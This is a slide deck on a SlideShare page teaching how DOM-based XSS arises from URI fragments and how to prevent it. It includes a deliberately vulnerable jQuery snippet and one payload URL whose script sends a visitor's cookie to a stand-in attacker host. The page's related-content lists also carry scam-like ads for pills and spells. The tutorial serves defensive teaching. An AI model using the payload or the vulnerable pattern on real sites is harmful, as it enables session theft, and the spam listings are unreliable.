SlideShare a Scribd company logo
1 of 22
Understanding DOM-BASED XSS
BY: JOHN PATRICK LITA
INFORMATION SECURITY CONSULTANT – GLOBE TELECOM (ISDP/VM)
DOM-BASED XSS
 As JavaScript framework have gotten more sophisticated, many developers
are pushing logic to the client-side.
 Correspondingly, the importance of knowing how to protect against
vulnerabilities occurring in the browser have increased
DOM-BASED XSS
 Rich web application often use URI fragment – the pary of the URL after
the # sign.
 This proven a convenient method of the storing the users location within a
page in a way that keeps browser history readable, but does not cause
extra round trips to the server.
URI Fragments
 URI fragments are not sent with HTTP request, so they need to be
interpreted by client-side JavaScript.
 You should be careful that your treatment of URI fragment does not
permit the injection of malicious JavaScript.
 Let’s see how a site might be vulnerable to DOM-BASED XSS Attacks
GUI Explanation
www.churvanels.com#1
“This a dangerous cat.”
- Cat Fan
SEE ALL THE HACKER CATS YOU LOVE! #1
For Example
Website has
Infinite scroll
Content is loaded
In dynamically
As the page is
Scrolled down.
Notice how the URI
Fragment is used to
Track the scroll
location
GUI Explanation
www.churvanels.com#2
“I’m Busy hacking”
- Cat Fan Overload
SEE ALL THE HACKER CATS YOU LOVE! #2
For Example
Website has
Infinite scroll
Content is loaded
In dynamically
As the page is
Scrolled down.
Notice how the URI
Fragment is used to
Track the scroll
location
GUI Explanation
www.churvanels.com#3
“Hacker Cat your doin it
rite!”
- Cat Ninja
SEE ALL THE HACKER CATS YOU LOVE! #3
This dome so
That if a user
Navigates away
From the site, and
Then Presses the
Back Button, this
Site can reload their
Last location
Code View
$(document).onload(function(){
var page = window.location.hash;
loadPage(page);
$(“#page-no”).html(page);
});
Notice how the window.location.hash value is written into the DOM as
raw HTML – a major security hole
However, there Vulnerability
In the way the URI fragment
Is interpreted. The site updates
The page number directly from
The URI fragment, without
Checking the contents
GUI Explanation
www.churvanels.com#3
“Hacker Cat your doin it
rite!”
- Cat Ninja
SEE ALL THE HACKER CATS YOU LOVE! #3www.churvanels.com#<script>window.location="http://www.huncker.com?cookie="+document.cookie</script>
This means an
Attacker can
Construct a URL
With malicious
JavaScript in the
URI Fragment..
GUI Explanation
www.churvanels.com#3
“Hacker Cat your doin it
rite!”
- Cat Ninja
SEE ALL THE HACKER CATS YOU LOVE! #3
And when
Somebody is tricked
Into visiting that
URL, the JavaScript
Will be executed in
Their browser
GUI Explanation
huncker.com?cookie=asFFEfadn3243sadkkkiilo56l45j56nklj2
And when
Somebody is tricked
Into visiting that
URL, the JavaScript
Will be executed in
Their browser
Check for DOM-Based Attack
 Perform a brief code review of every piece of JavaScript received from the
application. Identify any XSS or Redirection vulnerabilities that can be
triggered by using a crafted URL to introduce malicious data into the DOM
of the relevant page. Include all standalone JavaScript files and scripts
contained within HTML pages (both static and dynamically generated)
Identifying APIs
 Identify all uses of the following APIs, which may be used to access DOM
data that can be controlled via crafted URL:
 document.location
 document.URL
 document.URLUnencoded
 document.referrer
 windows.location
Trace the relevant
 Trace the relevant data through the code to identify what actions are
performed with it. If the data (or a manipulated form of it) is passed to one
of the following APIs, the application may be vulnerable to XSS
 Document.write()
 Document.writeIn()
 Document.body.innerHTML
 Eval()
 Window.execScript()
 Window.setInterval()
 Window.setTimeout()
Pass the data
 If the data is passed to one of the following APIs, the application may be
vulnerable to a redirection attack.
 Document.location
 Document.URL
 Document.open()
 Windows.location.href
 Window.navigate()
 Window.open()
Remediation
HACKTHENORTH.ORG
DOM-BASED Attack!
 DOM-based XSS attack have all the risk associated with the other types of
XSS attack, with the added bonus that they are impossible to detect from
the server side. Any page that uses URI fragments is potentially at risk from
XSS attack
The Protection
Protecting Against DOM-based XSS attack is a matter of checking that your
JavaScript does not interpret URI fragment in an unsafe manner. There are
number of ways to ensure this
 Use a JavaScript Framework
 Framework like Ember, AngularJS and React use template that makes
contraction of ad-hoc HTML an explicit (and rare) action. This will push your
development team toward best practices, and make unsafe operations easier to
detect
The Protection
 Audit Your Code Carefully
 Sometimes a full JavaScript framework is too heavyweight for your site. In that
case, you will need to regularly conduct a code review to spot locations that
reference window.location.hash.
 If you are using direct the native DOM APIs, avoid using the following
properties and functions:
 InnerHTML
 outerHTML
 Document.write
 Instead, set text content within tags whenever possible:
 innerText
 textContent
Who is JSON?
 Parse JSON Carefully
 Do not evaluate JSON to convert it to native JavaScript – for example, by using
the eval(….) function instead use JSON.parse(…..)
 Don’t use URI Fragment At All!
 The most secure code is the code that isn’t there. If you don’t need to use URI
fragments, then don’t! Write a unit test to scan your JavaScript for mentions of
window.location.has, and have it fail it the pattern is found. When there is a
need to use URI fragments, then you can dicuss how to ensure their sage use.
Implementing CSP
Content-Security Policy
 Modern browser supports Content-Security Policies that allow the author
of a web-page to control where JavaScript (and other resources) can be
loaded and executed from. XSS attacks rely on the attacker being able to
run malicious scripts on a user’s web page – either by injection inline
<script> tags somewhere within the <html> tag of a page, or by tricking
the browser into loading the JavaScript from a malicious Third-Party
domain.
END THE SLIDE!
BY: JOHN PATRICK LITA
INFORMATION SECURITY CONSULTANT – GLOBE TELECOM (ISDP/VM)
References:
Hackplaining and OWASP Foundation

More Related Content

What's hot

Understanding CSRF
Understanding CSRFUnderstanding CSRF
Understanding CSRFPotato
 
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbharCross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbharSandeep Kumbhar
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scriptingkinish kumar
 
Deep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionDeep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionVishal Kumar
 
Cross site scripting attacks and defenses
Cross site scripting attacks and defensesCross site scripting attacks and defenses
Cross site scripting attacks and defensesMohammed A. Imran
 
Cross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterCross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterMichael Coates
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Barrel Software
 
Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )Irfad Imtiaz
 
Cross Site Scripting Going Beyond the Alert Box
Cross Site Scripting Going Beyond the Alert BoxCross Site Scripting Going Beyond the Alert Box
Cross Site Scripting Going Beyond the Alert BoxAaron Weaver
 
Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Amit Tyagi
 
Reflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site ScriptingReflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site ScriptingInMobi Technology
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scriptingashutosh rai
 
Cross site scripting (xss)
Cross site scripting (xss)Cross site scripting (xss)
Cross site scripting (xss)Ritesh Gupta
 

What's hot (20)

Understanding CSRF
Understanding CSRFUnderstanding CSRF
Understanding CSRF
 
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbharCross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scripting
 
Xss
XssXss
Xss
 
Deep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionDeep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL Injection
 
Cross site scripting attacks and defenses
Cross site scripting attacks and defensesCross site scripting attacks and defenses
Cross site scripting attacks and defenses
 
Cross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterCross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning Center
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)
 
Xss talk, attack and defense
Xss talk, attack and defenseXss talk, attack and defense
Xss talk, attack and defense
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scripting
 
Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )
 
XSS Injection Vulnerabilities
XSS Injection VulnerabilitiesXSS Injection Vulnerabilities
XSS Injection Vulnerabilities
 
Cross site scripting
Cross site scripting Cross site scripting
Cross site scripting
 
Cross Site Scripting Going Beyond the Alert Box
Cross Site Scripting Going Beyond the Alert BoxCross Site Scripting Going Beyond the Alert Box
Cross Site Scripting Going Beyond the Alert Box
 
Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)
 
Reflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site ScriptingReflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site Scripting
 
Xss (cross site scripting)
Xss (cross site scripting)Xss (cross site scripting)
Xss (cross site scripting)
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scripting
 
XSS
XSSXSS
XSS
 
Cross site scripting (xss)
Cross site scripting (xss)Cross site scripting (xss)
Cross site scripting (xss)
 

Viewers also liked

Cyber Security - ICCT Colleges
Cyber Security - ICCT CollegesCyber Security - ICCT Colleges
Cyber Security - ICCT CollegesPotato
 
Understanding sql Injection
Understanding sql InjectionUnderstanding sql Injection
Understanding sql InjectionPotato
 
IOT Security - ICCT College of Engineering
IOT Security - ICCT College of EngineeringIOT Security - ICCT College of Engineering
IOT Security - ICCT College of EngineeringPotato
 
Web appsec and it’s 10 best SDLC practices
Web appsec and it’s 10 best SDLC practicesWeb appsec and it’s 10 best SDLC practices
Web appsec and it’s 10 best SDLC practicesPotato
 
Bab2 merakit merawat dan_memperbaiki_komputer_personal
Bab2 merakit merawat dan_memperbaiki_komputer_personalBab2 merakit merawat dan_memperbaiki_komputer_personal
Bab2 merakit merawat dan_memperbaiki_komputer_personalAgung Sakepris
 
MGT101 - Financial Accounting- Lecture 42
MGT101 - Financial Accounting- Lecture 42MGT101 - Financial Accounting- Lecture 42
MGT101 - Financial Accounting- Lecture 42Bilal Ahmed
 
Tugas Metode Numerik Pendidikan Matematika UMT
Tugas Metode Numerik Pendidikan Matematika UMTTugas Metode Numerik Pendidikan Matematika UMT
Tugas Metode Numerik Pendidikan Matematika UMTrukmono budi utomo
 
Fabsdeal offer- Buy jockey bra and brief online @offer price
Fabsdeal offer- Buy jockey bra and brief online @offer priceFabsdeal offer- Buy jockey bra and brief online @offer price
Fabsdeal offer- Buy jockey bra and brief online @offer priceFabsdeal
 
Age of exploration
Age of explorationAge of exploration
Age of explorationNeutron428
 
metode numerik stepest descent dengan rerata aritmatika
metode numerik stepest descent dengan rerata aritmatikametode numerik stepest descent dengan rerata aritmatika
metode numerik stepest descent dengan rerata aritmatikarukmono budi utomo
 
Ayurveda for fall health
Ayurveda for fall healthAyurveda for fall health
Ayurveda for fall healthNeelam Toprani
 
Bab1 dasar dasar komputer personal
Bab1 dasar dasar komputer personalBab1 dasar dasar komputer personal
Bab1 dasar dasar komputer personalAgung Sakepris
 
Tugas Metode Numerik Pendidikan Matematika UMT
Tugas Metode Numerik Pendidikan Matematika UMTTugas Metode Numerik Pendidikan Matematika UMT
Tugas Metode Numerik Pendidikan Matematika UMTrukmono budi utomo
 

Viewers also liked (20)

Cyber Security - ICCT Colleges
Cyber Security - ICCT CollegesCyber Security - ICCT Colleges
Cyber Security - ICCT Colleges
 
Understanding sql Injection
Understanding sql InjectionUnderstanding sql Injection
Understanding sql Injection
 
IOT Security - ICCT College of Engineering
IOT Security - ICCT College of EngineeringIOT Security - ICCT College of Engineering
IOT Security - ICCT College of Engineering
 
Web appsec and it’s 10 best SDLC practices
Web appsec and it’s 10 best SDLC practicesWeb appsec and it’s 10 best SDLC practices
Web appsec and it’s 10 best SDLC practices
 
Bab2 merakit merawat dan_memperbaiki_komputer_personal
Bab2 merakit merawat dan_memperbaiki_komputer_personalBab2 merakit merawat dan_memperbaiki_komputer_personal
Bab2 merakit merawat dan_memperbaiki_komputer_personal
 
Marco,cabrera;proyectos;primer,parcial
Marco,cabrera;proyectos;primer,parcialMarco,cabrera;proyectos;primer,parcial
Marco,cabrera;proyectos;primer,parcial
 
Optimisasi
OptimisasiOptimisasi
Optimisasi
 
MGT101 - Financial Accounting- Lecture 42
MGT101 - Financial Accounting- Lecture 42MGT101 - Financial Accounting- Lecture 42
MGT101 - Financial Accounting- Lecture 42
 
Tugas Metode Numerik Pendidikan Matematika UMT
Tugas Metode Numerik Pendidikan Matematika UMTTugas Metode Numerik Pendidikan Matematika UMT
Tugas Metode Numerik Pendidikan Matematika UMT
 
Fibonacci
FibonacciFibonacci
Fibonacci
 
Web 2ggg
Web 2gggWeb 2ggg
Web 2ggg
 
Fabsdeal offer- Buy jockey bra and brief online @offer price
Fabsdeal offer- Buy jockey bra and brief online @offer priceFabsdeal offer- Buy jockey bra and brief online @offer price
Fabsdeal offer- Buy jockey bra and brief online @offer price
 
Age of exploration
Age of explorationAge of exploration
Age of exploration
 
3months
3months3months
3months
 
metode numerik stepest descent dengan rerata aritmatika
metode numerik stepest descent dengan rerata aritmatikametode numerik stepest descent dengan rerata aritmatika
metode numerik stepest descent dengan rerata aritmatika
 
Newton
NewtonNewton
Newton
 
Ayurveda for fall health
Ayurveda for fall healthAyurveda for fall health
Ayurveda for fall health
 
Bab7 os jaringan tui
Bab7 os jaringan tuiBab7 os jaringan tui
Bab7 os jaringan tui
 
Bab1 dasar dasar komputer personal
Bab1 dasar dasar komputer personalBab1 dasar dasar komputer personal
Bab1 dasar dasar komputer personal
 
Tugas Metode Numerik Pendidikan Matematika UMT
Tugas Metode Numerik Pendidikan Matematika UMTTugas Metode Numerik Pendidikan Matematika UMT
Tugas Metode Numerik Pendidikan Matematika UMT
 

Similar to Understanding dom based xss

04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encodingEoin Keary
 
xss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdfxss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdfyashvirsingh48
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008abhijitapatil
 
logout.php Session Data after Logout Username Email . $_.docx
logout.php Session Data after Logout  Username  Email  . $_.docxlogout.php Session Data after Logout  Username  Email  . $_.docx
logout.php Session Data after Logout Username Email . $_.docxsmile790243
 
Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )Jay Nagar
 
.NET Security Topics
.NET Security Topics.NET Security Topics
.NET Security TopicsShawn Gorrell
 
Xss is more than a simple threat
Xss is more than a simple threatXss is more than a simple threat
Xss is more than a simple threatAvădănei Andrei
 
bh-usa-07-grossman-WP.pdf
bh-usa-07-grossman-WP.pdfbh-usa-07-grossman-WP.pdf
bh-usa-07-grossman-WP.pdfcyberhacker7
 
Web 2.0 Application Kung-Fu - Securing Ajax & Web Services
Web 2.0 Application Kung-Fu - Securing Ajax & Web ServicesWeb 2.0 Application Kung-Fu - Securing Ajax & Web Services
Web 2.0 Application Kung-Fu - Securing Ajax & Web ServicesShreeraj Shah
 
Rich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeRich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeJeremiah Grossman
 
Pantallas escaneo Sitio Web
Pantallas escaneo Sitio WebPantallas escaneo Sitio Web
Pantallas escaneo Sitio Webandres1422
 
Web Browser Basics, Tips & Tricks Draft 17
Web Browser Basics, Tips & Tricks Draft 17Web Browser Basics, Tips & Tricks Draft 17
Web Browser Basics, Tips & Tricks Draft 17msz
 
React security vulnerabilities
React security vulnerabilitiesReact security vulnerabilities
React security vulnerabilitiesAngelinaJasper
 
JSFoo Chennai 2012
JSFoo Chennai 2012JSFoo Chennai 2012
JSFoo Chennai 2012Krishna T
 
Content Security Policy - PHPUGFFM
Content Security Policy - PHPUGFFMContent Security Policy - PHPUGFFM
Content Security Policy - PHPUGFFMWalter Ebert
 
Cross Site Scripting: Prevention and Detection(XSS)
Cross Site Scripting: Prevention and Detection(XSS)Cross Site Scripting: Prevention and Detection(XSS)
Cross Site Scripting: Prevention and Detection(XSS)Aman Singh
 

Similar to Understanding dom based xss (20)

04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encoding
 
xss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdfxss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdf
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008
 
logout.php Session Data after Logout Username Email . $_.docx
logout.php Session Data after Logout  Username  Email  . $_.docxlogout.php Session Data after Logout  Username  Email  . $_.docx
logout.php Session Data after Logout Username Email . $_.docx
 
Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )
 
.NET Security Topics
.NET Security Topics.NET Security Topics
.NET Security Topics
 
Xss is more than a simple threat
Xss is more than a simple threatXss is more than a simple threat
Xss is more than a simple threat
 
Xss is more than a simple threat
Xss is more than a simple threatXss is more than a simple threat
Xss is more than a simple threat
 
Session7-XSS & CSRF
Session7-XSS & CSRFSession7-XSS & CSRF
Session7-XSS & CSRF
 
XSS.pdf
XSS.pdfXSS.pdf
XSS.pdf
 
XSS.pdf
XSS.pdfXSS.pdf
XSS.pdf
 
bh-usa-07-grossman-WP.pdf
bh-usa-07-grossman-WP.pdfbh-usa-07-grossman-WP.pdf
bh-usa-07-grossman-WP.pdf
 
Web 2.0 Application Kung-Fu - Securing Ajax & Web Services
Web 2.0 Application Kung-Fu - Securing Ajax & Web ServicesWeb 2.0 Application Kung-Fu - Securing Ajax & Web Services
Web 2.0 Application Kung-Fu - Securing Ajax & Web Services
 
Rich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeRich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safe
 
Pantallas escaneo Sitio Web
Pantallas escaneo Sitio WebPantallas escaneo Sitio Web
Pantallas escaneo Sitio Web
 
Web Browser Basics, Tips & Tricks Draft 17
Web Browser Basics, Tips & Tricks Draft 17Web Browser Basics, Tips & Tricks Draft 17
Web Browser Basics, Tips & Tricks Draft 17
 
React security vulnerabilities
React security vulnerabilitiesReact security vulnerabilities
React security vulnerabilities
 
JSFoo Chennai 2012
JSFoo Chennai 2012JSFoo Chennai 2012
JSFoo Chennai 2012
 
Content Security Policy - PHPUGFFM
Content Security Policy - PHPUGFFMContent Security Policy - PHPUGFFM
Content Security Policy - PHPUGFFM
 
Cross Site Scripting: Prevention and Detection(XSS)
Cross Site Scripting: Prevention and Detection(XSS)Cross Site Scripting: Prevention and Detection(XSS)
Cross Site Scripting: Prevention and Detection(XSS)
 

Recently uploaded

Define the academic and professional writing..pdf
Define the academic and professional writing..pdfDefine the academic and professional writing..pdf
Define the academic and professional writing..pdfPearlKirahMaeRagusta1
 
WSO2CON 2024 - Does Open Source Still Matter?
WSO2CON 2024 - Does Open Source Still Matter?WSO2CON 2024 - Does Open Source Still Matter?
WSO2CON 2024 - Does Open Source Still Matter?WSO2
 
%in kaalfontein+277-882-255-28 abortion pills for sale in kaalfontein
%in kaalfontein+277-882-255-28 abortion pills for sale in kaalfontein%in kaalfontein+277-882-255-28 abortion pills for sale in kaalfontein
%in kaalfontein+277-882-255-28 abortion pills for sale in kaalfonteinmasabamasaba
 
tonesoftg
tonesoftgtonesoftg
tonesoftglanshi9
 
%in kempton park+277-882-255-28 abortion pills for sale in kempton park
%in kempton park+277-882-255-28 abortion pills for sale in kempton park %in kempton park+277-882-255-28 abortion pills for sale in kempton park
%in kempton park+277-882-255-28 abortion pills for sale in kempton park masabamasaba
 
The title is not connected to what is inside
The title is not connected to what is insideThe title is not connected to what is inside
The title is not connected to what is insideshinachiaurasa2
 
Shapes for Sharing between Graph Data Spaces - and Epistemic Querying of RDF-...
Shapes for Sharing between Graph Data Spaces - and Epistemic Querying of RDF-...Shapes for Sharing between Graph Data Spaces - and Epistemic Querying of RDF-...
Shapes for Sharing between Graph Data Spaces - and Epistemic Querying of RDF-...Steffen Staab
 
%+27788225528 love spells in new york Psychic Readings, Attraction spells,Bri...
%+27788225528 love spells in new york Psychic Readings, Attraction spells,Bri...%+27788225528 love spells in new york Psychic Readings, Attraction spells,Bri...
%+27788225528 love spells in new york Psychic Readings, Attraction spells,Bri...masabamasaba
 
MarTech Trend 2024 Book : Marketing Technology Trends (2024 Edition) How Data...
MarTech Trend 2024 Book : Marketing Technology Trends (2024 Edition) How Data...MarTech Trend 2024 Book : Marketing Technology Trends (2024 Edition) How Data...
MarTech Trend 2024 Book : Marketing Technology Trends (2024 Edition) How Data...Jittipong Loespradit
 
%+27788225528 love spells in Atlanta Psychic Readings, Attraction spells,Brin...
%+27788225528 love spells in Atlanta Psychic Readings, Attraction spells,Brin...%+27788225528 love spells in Atlanta Psychic Readings, Attraction spells,Brin...
%+27788225528 love spells in Atlanta Psychic Readings, Attraction spells,Brin...masabamasaba
 
%in tembisa+277-882-255-28 abortion pills for sale in tembisa
%in tembisa+277-882-255-28 abortion pills for sale in tembisa%in tembisa+277-882-255-28 abortion pills for sale in tembisa
%in tembisa+277-882-255-28 abortion pills for sale in tembisamasabamasaba
 
%in Midrand+277-882-255-28 abortion pills for sale in midrand
%in Midrand+277-882-255-28 abortion pills for sale in midrand%in Midrand+277-882-255-28 abortion pills for sale in midrand
%in Midrand+277-882-255-28 abortion pills for sale in midrandmasabamasaba
 
WSO2CON 2024 - Cloud Native Middleware: Domain-Driven Design, Cell-Based Arch...
WSO2CON 2024 - Cloud Native Middleware: Domain-Driven Design, Cell-Based Arch...WSO2CON 2024 - Cloud Native Middleware: Domain-Driven Design, Cell-Based Arch...
WSO2CON 2024 - Cloud Native Middleware: Domain-Driven Design, Cell-Based Arch...WSO2
 
Right Money Management App For Your Financial Goals
Right Money Management App For Your Financial GoalsRight Money Management App For Your Financial Goals
Right Money Management App For Your Financial GoalsJhone kinadey
 
%in Hazyview+277-882-255-28 abortion pills for sale in Hazyview
%in Hazyview+277-882-255-28 abortion pills for sale in Hazyview%in Hazyview+277-882-255-28 abortion pills for sale in Hazyview
%in Hazyview+277-882-255-28 abortion pills for sale in Hazyviewmasabamasaba
 
%in Stilfontein+277-882-255-28 abortion pills for sale in Stilfontein
%in Stilfontein+277-882-255-28 abortion pills for sale in Stilfontein%in Stilfontein+277-882-255-28 abortion pills for sale in Stilfontein
%in Stilfontein+277-882-255-28 abortion pills for sale in Stilfonteinmasabamasaba
 
Introducing Microsoft’s new Enterprise Work Management (EWM) Solution
Introducing Microsoft’s new Enterprise Work Management (EWM) SolutionIntroducing Microsoft’s new Enterprise Work Management (EWM) Solution
Introducing Microsoft’s new Enterprise Work Management (EWM) SolutionOnePlan Solutions
 
Crypto Cloud Review - How To Earn Up To $500 Per DAY Of Bitcoin 100% On AutoP...
Crypto Cloud Review - How To Earn Up To $500 Per DAY Of Bitcoin 100% On AutoP...Crypto Cloud Review - How To Earn Up To $500 Per DAY Of Bitcoin 100% On AutoP...
Crypto Cloud Review - How To Earn Up To $500 Per DAY Of Bitcoin 100% On AutoP...SelfMade bd
 
%in Harare+277-882-255-28 abortion pills for sale in Harare
%in Harare+277-882-255-28 abortion pills for sale in Harare%in Harare+277-882-255-28 abortion pills for sale in Harare
%in Harare+277-882-255-28 abortion pills for sale in Hararemasabamasaba
 
%in ivory park+277-882-255-28 abortion pills for sale in ivory park
%in ivory park+277-882-255-28 abortion pills for sale in ivory park %in ivory park+277-882-255-28 abortion pills for sale in ivory park
%in ivory park+277-882-255-28 abortion pills for sale in ivory park masabamasaba
 

Recently uploaded (20)

Define the academic and professional writing..pdf
Define the academic and professional writing..pdfDefine the academic and professional writing..pdf
Define the academic and professional writing..pdf
 
WSO2CON 2024 - Does Open Source Still Matter?
WSO2CON 2024 - Does Open Source Still Matter?WSO2CON 2024 - Does Open Source Still Matter?
WSO2CON 2024 - Does Open Source Still Matter?
 
%in kaalfontein+277-882-255-28 abortion pills for sale in kaalfontein
%in kaalfontein+277-882-255-28 abortion pills for sale in kaalfontein%in kaalfontein+277-882-255-28 abortion pills for sale in kaalfontein
%in kaalfontein+277-882-255-28 abortion pills for sale in kaalfontein
 
tonesoftg
tonesoftgtonesoftg
tonesoftg
 
%in kempton park+277-882-255-28 abortion pills for sale in kempton park
%in kempton park+277-882-255-28 abortion pills for sale in kempton park %in kempton park+277-882-255-28 abortion pills for sale in kempton park
%in kempton park+277-882-255-28 abortion pills for sale in kempton park
 
The title is not connected to what is inside
The title is not connected to what is insideThe title is not connected to what is inside
The title is not connected to what is inside
 
Shapes for Sharing between Graph Data Spaces - and Epistemic Querying of RDF-...
Shapes for Sharing between Graph Data Spaces - and Epistemic Querying of RDF-...Shapes for Sharing between Graph Data Spaces - and Epistemic Querying of RDF-...
Shapes for Sharing between Graph Data Spaces - and Epistemic Querying of RDF-...
 
%+27788225528 love spells in new york Psychic Readings, Attraction spells,Bri...
%+27788225528 love spells in new york Psychic Readings, Attraction spells,Bri...%+27788225528 love spells in new york Psychic Readings, Attraction spells,Bri...
%+27788225528 love spells in new york Psychic Readings, Attraction spells,Bri...
 
MarTech Trend 2024 Book : Marketing Technology Trends (2024 Edition) How Data...
MarTech Trend 2024 Book : Marketing Technology Trends (2024 Edition) How Data...MarTech Trend 2024 Book : Marketing Technology Trends (2024 Edition) How Data...
MarTech Trend 2024 Book : Marketing Technology Trends (2024 Edition) How Data...
 
%+27788225528 love spells in Atlanta Psychic Readings, Attraction spells,Brin...
%+27788225528 love spells in Atlanta Psychic Readings, Attraction spells,Brin...%+27788225528 love spells in Atlanta Psychic Readings, Attraction spells,Brin...
%+27788225528 love spells in Atlanta Psychic Readings, Attraction spells,Brin...
 
%in tembisa+277-882-255-28 abortion pills for sale in tembisa
%in tembisa+277-882-255-28 abortion pills for sale in tembisa%in tembisa+277-882-255-28 abortion pills for sale in tembisa
%in tembisa+277-882-255-28 abortion pills for sale in tembisa
 
%in Midrand+277-882-255-28 abortion pills for sale in midrand
%in Midrand+277-882-255-28 abortion pills for sale in midrand%in Midrand+277-882-255-28 abortion pills for sale in midrand
%in Midrand+277-882-255-28 abortion pills for sale in midrand
 
WSO2CON 2024 - Cloud Native Middleware: Domain-Driven Design, Cell-Based Arch...
WSO2CON 2024 - Cloud Native Middleware: Domain-Driven Design, Cell-Based Arch...WSO2CON 2024 - Cloud Native Middleware: Domain-Driven Design, Cell-Based Arch...
WSO2CON 2024 - Cloud Native Middleware: Domain-Driven Design, Cell-Based Arch...
 
Right Money Management App For Your Financial Goals
Right Money Management App For Your Financial GoalsRight Money Management App For Your Financial Goals
Right Money Management App For Your Financial Goals
 
%in Hazyview+277-882-255-28 abortion pills for sale in Hazyview
%in Hazyview+277-882-255-28 abortion pills for sale in Hazyview%in Hazyview+277-882-255-28 abortion pills for sale in Hazyview
%in Hazyview+277-882-255-28 abortion pills for sale in Hazyview
 
%in Stilfontein+277-882-255-28 abortion pills for sale in Stilfontein
%in Stilfontein+277-882-255-28 abortion pills for sale in Stilfontein%in Stilfontein+277-882-255-28 abortion pills for sale in Stilfontein
%in Stilfontein+277-882-255-28 abortion pills for sale in Stilfontein
 
Introducing Microsoft’s new Enterprise Work Management (EWM) Solution
Introducing Microsoft’s new Enterprise Work Management (EWM) SolutionIntroducing Microsoft’s new Enterprise Work Management (EWM) Solution
Introducing Microsoft’s new Enterprise Work Management (EWM) Solution
 
Crypto Cloud Review - How To Earn Up To $500 Per DAY Of Bitcoin 100% On AutoP...
Crypto Cloud Review - How To Earn Up To $500 Per DAY Of Bitcoin 100% On AutoP...Crypto Cloud Review - How To Earn Up To $500 Per DAY Of Bitcoin 100% On AutoP...
Crypto Cloud Review - How To Earn Up To $500 Per DAY Of Bitcoin 100% On AutoP...
 
%in Harare+277-882-255-28 abortion pills for sale in Harare
%in Harare+277-882-255-28 abortion pills for sale in Harare%in Harare+277-882-255-28 abortion pills for sale in Harare
%in Harare+277-882-255-28 abortion pills for sale in Harare
 
%in ivory park+277-882-255-28 abortion pills for sale in ivory park
%in ivory park+277-882-255-28 abortion pills for sale in ivory park %in ivory park+277-882-255-28 abortion pills for sale in ivory park
%in ivory park+277-882-255-28 abortion pills for sale in ivory park
 

Understanding dom based xss

  • 1. Understanding DOM-BASED XSS BY: JOHN PATRICK LITA INFORMATION SECURITY CONSULTANT – GLOBE TELECOM (ISDP/VM)
  • 2. DOM-BASED XSS  As JavaScript framework have gotten more sophisticated, many developers are pushing logic to the client-side.  Correspondingly, the importance of knowing how to protect against vulnerabilities occurring in the browser have increased
  • 3. DOM-BASED XSS  Rich web application often use URI fragment – the pary of the URL after the # sign.  This proven a convenient method of the storing the users location within a page in a way that keeps browser history readable, but does not cause extra round trips to the server.
